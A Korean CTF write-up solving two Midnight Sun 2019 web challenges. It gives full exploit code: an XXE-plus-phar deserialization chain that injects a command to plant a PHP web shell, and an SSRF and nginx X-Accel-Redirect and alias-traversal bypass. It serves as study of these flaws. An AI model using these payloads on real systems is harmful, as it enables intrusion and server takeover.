Uiseong Park zairo

Write-up

2019 Midnight Sun CTF Quals

2019 Midnight Sun CTF Quals

Rubenscube (424 points, 26 solves)

Untitled.png

Untitled%201.png

페이지에 접속하면 이미지 파일을 upload 할 수 있는 기능이 존재한다.

Untitled%202.png

해당 페이지에서 robots.txt 경로로 접속하면 source.zip이 존재하는 것을 확인할 수 있다.

source.zip

<?php
session_start();

function calcImageSize($file, $mime_type) {
    if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
        $stats = getimagesize($file);  // Doesn't work for svg...
        $width = $stats[0];
        $height = $stats[1];
    } else {
        $xmlfile = file_get_contents($file);
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        $svg = simplexml_import_dom($dom);
        $attrs = $svg->attributes();
        $width = (int) $attrs->width;
        $height = (int) $attrs->height;
    }
    return [$width, $height];
}


class Image {

    function __construct($tmp_name)
    {
        $allowed_formats = [
            "image/png" => "png",
            "image/jpeg" => "jpg",
            "image/svg+xml" => "svg"
        ];
        $this->tmp_name = $tmp_name;
        $this->mime_type = mime_content_type($tmp_name);

        if (!array_key_exists($this->mime_type, $allowed_formats)) {
            // I'd rather 500 with pride than 200 without security
            die("Invalid Image Format!");
        }

        $size = calcImageSize($tmp_name, $this->mime_type);
        if ($size[0] * $size[1] > 1337 * 1337) {
            die("Image too big!");
        }

        $this->extension = "." . $allowed_formats[$this->mime_type];
        $this->file_name = sha1(random_bytes(20));
        $this->folder = $file_path = "images/" . session_id() . "/";
    }

    function create_thumb() {
        $file_path = $this->folder . $this->file_name . $this->extension;
        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
    }

    function __destruct()
    {
        if (!file_exists($this->folder)){
            mkdir($this->folder);
        }
        $file_dst = $this->folder . $this->file_name . $this->extension;
        move_uploaded_file($this->tmp_name, $file_dst);
        $this->create_thumb();
    }
}

new Image($_FILES['image']['tmp_name']);
header('Location: index.php');

source.zip을 다운로드하여 upload.php 파일을 분석해보면 업로드 한 파일의 mime_content_typeimage/svg+xml일 경우 10행~16행 부분의 loadXML 함수를 실행하는 것을 확인할 수 있다.

XML에 대한 별도의 필터링이 존재하지 않는 것으로 보아 XXE Injection을 이용한 문제로 추정할 수 있다.

해당 문제의 풀이 방법을 간단하게 정리해보자면,

  1. Image 클래스의 $extension 변수를 덮어 쓸 수 있는 phar 파일을 생성한다.
  2. 이미지를 이용한 기능을 정상적으로 작동시키기 위해 PNG 이미지 뒤에 phar 파일을 붙인다.
  3. PNG 파일을 서버로 업로드 한다.
  4. 메인 페이지에 출력된 업로드된 경로를 svg 파일 안의 ENTITY 부분에 phar:// 경로에 포함시킨다.
  5. calcImageSize 함수에서 loadXML를 실행시키기 위해 mime_content_typeimage/svg+xmlsvg 파일 형식을 만들어 업로드 한다.
  6. calcImageSize 함수에서 loadXML함수가 실행되며, svg 파일의 ENTITY로 인해 phar 파일이 실행된다.
  7. __destruct 메소드가 실행되며 create_thumb 메소드 또한 실행된다. $extension을 덮어씀으로 인해 결론적으로 system 함수에서 Command Injection이 가능하다.

따라서, phar 파일을 생성하기 위해 다음과 같은 php 코드를 작성한다.

<?php

class Image{
    var $folder = 'images/';
    var $file_name = 'zairo';
    var $extension = '.php';
    var $tmp_name = 'tmp_name';

    function create_thumb() {
        $file_path = $this->folder . $this->file_name . $this->extension;
        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
    }

    function __destruct()
    {
        if (!file_exists($this->folder)){
            mkdir($this->folder);
        }
        $file_dst = $this->folder . $this->file_name . $this->extension;
        move_uploaded_file($this->tmp_name, $file_dst);
        $this->create_thumb();
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$png = file_get_contents('sample.png');
$phar -> setStub($png.'<?php __HALT_COMPILER(); ?>');
$phar -> addFromString('test.txt','test');
$object = new Image();
$object -> folder= '';
$object -> file_name= '';
$object -> extension= '$(echo \'<?php system($_GET[x]); ?>\' > /var/www/html/images/zairo.php)';
$object -> tmp_name = '';
$phar -> setMetadata($object);
$phar -> stopBuffering();

rename("./phar.phar", "./exploit.png");

?>

exploit.png

Untitled%203.png

서버로 PNG로 가장한 phar 파일을 업로드 한다. 이후 XXE Injection 취약점이 존재하는 svg 파일을 생성하여 업로드 한다.

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo[
<!ENTITY % load SYSTEM "phar:///var/www/html/images/v0bmcv04mf8rlnc5822nglvmm9/87a2d2a650a048e6e8b60ddf596f339c2ca71723.png">%load;
]>

<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
    width="612px" height="502.174px" viewBox="0 65.326 612 502.174" enable-background="new 0 65.326 612 502.174"
    xml:space="preserve" class="logo">

<ellipse class="ground" cx="283.5" cy="487.5" rx="259" ry="80"/>
<path class="kiwi" d="M210.333,65.331C104.367,66.105-12.349,150.637,1.056,276.449c4.303,40.393,18.533,63.704,52.171,79.03
    c36.307,16.544,57.022,54.556,50.406,112.954c-9.935,4.88-17.405,11.031-19.132,20.015c7.531-0.17,14.943-0.312,22.59,4.341
    c20.333,12.375,31.296,27.363,42.979,51.72c1.714,3.572,8.192,2.849,8.312-3.078c0.17-8.467-1.856-17.454-5.226-26.933
    c-2.955-8.313,3.059-7.985,6.917-6.106c6.399,3.115,16.334,9.43,30.39,13.098c5.392,1.407,5.995-3.877,5.224-6.991
    c-1.864-7.522-11.009-10.862-24.519-19.229c-4.82-2.984-0.927-9.736,5.168-8.351l20.234,2.415c3.359,0.763,4.555-6.114,0.882-7.875
    c-14.198-6.804-28.897-10.098-53.864-7.799c-11.617-29.265-29.811-61.617-15.674-81.681c12.639-17.938,31.216-20.74,39.147,43.489
    c-5.002,3.107-11.215,5.031-11.332,13.024c7.201-2.845,11.207-1.399,14.791,0c17.912,6.998,35.462,21.826,52.982,37.309
    c3.739,3.303,8.413-1.718,6.991-6.034c-2.138-6.494-8.053-10.659-14.791-20.016c-3.239-4.495,5.03-7.045,10.886-6.876
    c13.849,0.396,22.886,8.268,35.177,11.218c4.483,1.076,9.741-1.964,6.917-6.917c-3.472-6.085-13.015-9.124-19.18-13.413
    c-4.357-3.029-3.025-7.132,2.697-6.602c3.905,0.361,8.478,2.271,13.908,1.767c9.946-0.925,7.717-7.169-0.883-9.566
    c-19.036-5.304-39.891-6.311-61.665-5.225c-43.837-8.358-31.554-84.887,0-90.363c29.571-5.132,62.966-13.339,99.928-32.156
    c32.668-5.429,64.835-12.446,92.939-33.85c48.106-14.469,111.903,16.113,204.241,149.695c3.926,5.681,15.819,9.94,9.524-6.351
    c-15.893-41.125-68.176-93.328-92.13-132.085c-24.581-39.774-14.34-61.243-39.957-91.247
    c-21.326-24.978-47.502-25.803-77.339-17.365c-23.461,6.634-39.234-7.117-52.98-31.273C318.42,87.525,265.838,64.927,210.333,65.331
    z M445.731,203.01c6.12,0,11.112,4.919,11.112,11.038c0,6.119-4.994,11.111-11.112,11.111s-11.038-4.994-11.038-11.111
    C434.693,207.929,439.613,203.01,445.731,203.01z"/>
<filter id="pictureFilter" >
    <feGaussianBlur stdDeviation="15" />
</filter>
</svg>

2stage.svg

svg 파일을 업로드 하면 phar 파일이 실행되고, 명령어가 실행되어 images/zairo.php 경로에 파일이 생성 된것을 확인할 수 있다.

Untitled%204.png

이후 해당 웹쉘을 이용하여 /var/www/html/flag_dispenser 실행파일을 실행하면 flag를 획득할 수 있다.

Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}


Bigspin (424 points, 26 solves)

Untitled%205.png

Untitled%206.png

페이지에 접속하면 위와 같은 페이지가 출력된다.

Untitled%207.png

이어 pleb 링크를 클릭하면 위와 같이 example.com 페이지가 출력된다.

# Stage 1

먼저 도메인의 IP 주소를 127.0.0.1로 설정한다.

Untitled%208.png

이후 http://bigspin-01.play.midnightsunctf.se:3123/plebab.zairo.kr/ 와 같이 접속하면 메인 페이지가 출력된다. 내부적으로 domain.com 도메인 뒤에 /pleb 뒤의 문자를 붙여 domain.comab.zairo.kr가 된다. zairo.kr는 위에서 localhost127.0.0.1로 설정해두었으므로 최종적으로는 127.0.0.1로 접속하게 된다.

Untitled%209.png

Untitled%2010.png

/user/ 경로로 접속하면 위와 같이 nginx의 설정파일이 존재한다. 하지만 해당 파일의 이름이 조금 이상한 것을 확인할 수 있다. 해당 파일을 요청하기 위해서는 서버가 프록시를 사용하고 있으므로 URL encoding을 2번하여 요청하여야 한다. 따라서 nginx.c%25C3%25B6nf%2520를 요청하여야 한다.

Untitled%2011.png

worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
    worker_connections 1024;
}

http {

    # Set an array of temp and cache files options that otherwise defaults to
    # restricted locations accessible only to root.

    client_body_temp_path /tmp/client_body;
    fastcgi_temp_path /tmp/fastcgi_temp;
    proxy_temp_path /tmp/proxy_temp;
    scgi_temp_path /tmp/scgi_temp;
    uwsgi_temp_path /tmp/uwsgi_temp;
    resolver 8.8.8.8 ipv6=off;

    server {
        listen 80;

        location / {
            root /var/www/html/public;
            try_files $uri $uri/index.html $uri/ =404;
        }

        location /user {
            allow 127.0.0.1;
            deny all;
            autoindex on;
            root /var/www/html/;
        }

        location /admin {
            internal;
            autoindex on;
            alias /var/www/html/admin/;
        }

        location /uberadmin {
            allow 0.13.3.7;
            deny all;
            autoindex on;
            alias /var/www/html/uberadmin/;
        }

        location ~ /pleb([/a-zA-Z0-9.:%]+) {
            proxy_pass   http://example.com$1;
        }

        access_log /dev/stdout;
        error_log /dev/stdout;
    }

}

# Stage 2

location /admin {
    internal;
    autoindex on;
    alias /var/www/html/admin/;
}

admin 경로에 접속하기 위해서는 nginxinternal 설정을 우회해야 한다. nginx internal을 우회하기 위한 방법으로는 아래의 사이트를 참고하였다.

Olympic CTF CURLing tasks

ResponseX-Accel-Redirect 헤더를 이용하면 프록시에서 해당 헤더의 값의 경로로 이동하여 출력 결과를 출력하여 준다. 따라서 해당 헤더를 반환하는 서버를 구축하여야 한다.

도메인 IP 주소를 다시 서버로 변경한 후, 아래와 같이 서버를 작동한다.

import flask
from flask import Flask

app = Flask(__name__)

@app.before_request
def before_request():
    resp = flask.Response("zairo")
    resp.headers['X-Accel-Redirect'] = '/admin/'
    return resp

app.run(host='0.0.0.0', port=1234, threaded=True)

Untitled%2012.png

이후 위와 같이 서버로 요청을 하면 위와 같이 /admin/ 페이지로 접속할 수 있다. /admin/ 경로 하위에 flag.txt가 존재하므로 서버를 다시 아래와 같이 변경 후 요청을 시도한다.

import flask
from flask import Flask

app = Flask(__name__)

@app.before_request
def before_request():
    resp = flask.Response("zairo")
    resp.headers['X-Accel-Redirect'] = '/admin/flag.txt'
    return resp

app.run(host='0.0.0.0', port=1234, threaded=True)

Untitled%2013.png

# Stage 3

/admin/ 경로 하위의 flag.txtfake flag였다. 하지만 해당 내용을 통해 uberadmin 하위의 flag.txt를 읽어야함을 알 수 있었다.

location /uberadmin {
    allow 0.13.3.7;
    deny all;
    autoindex on;
    alias /var/www/html/uberadmin/;
}

하지만 uberadmin0.13.3.7 IP주소에서만 접근이 가능하므로 정상적인 경로로 접근을 통해서는 불가능하다는 것을 알 수 있다. 따라서 nginx alias 설정 취약점을 이용하여 uberadmin 경로로 접근하여야 한다. 서버의 X-Accel-Redirect 헤더를 /admin../uberadmin/flag.txt로 변경하고 요청을 시도한다.

Untitled%2014.png

Flag: midnight{y0u_sp1n_m3_r1ght_r0und_b@by}

Written by Uiseong Park (zairo)

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.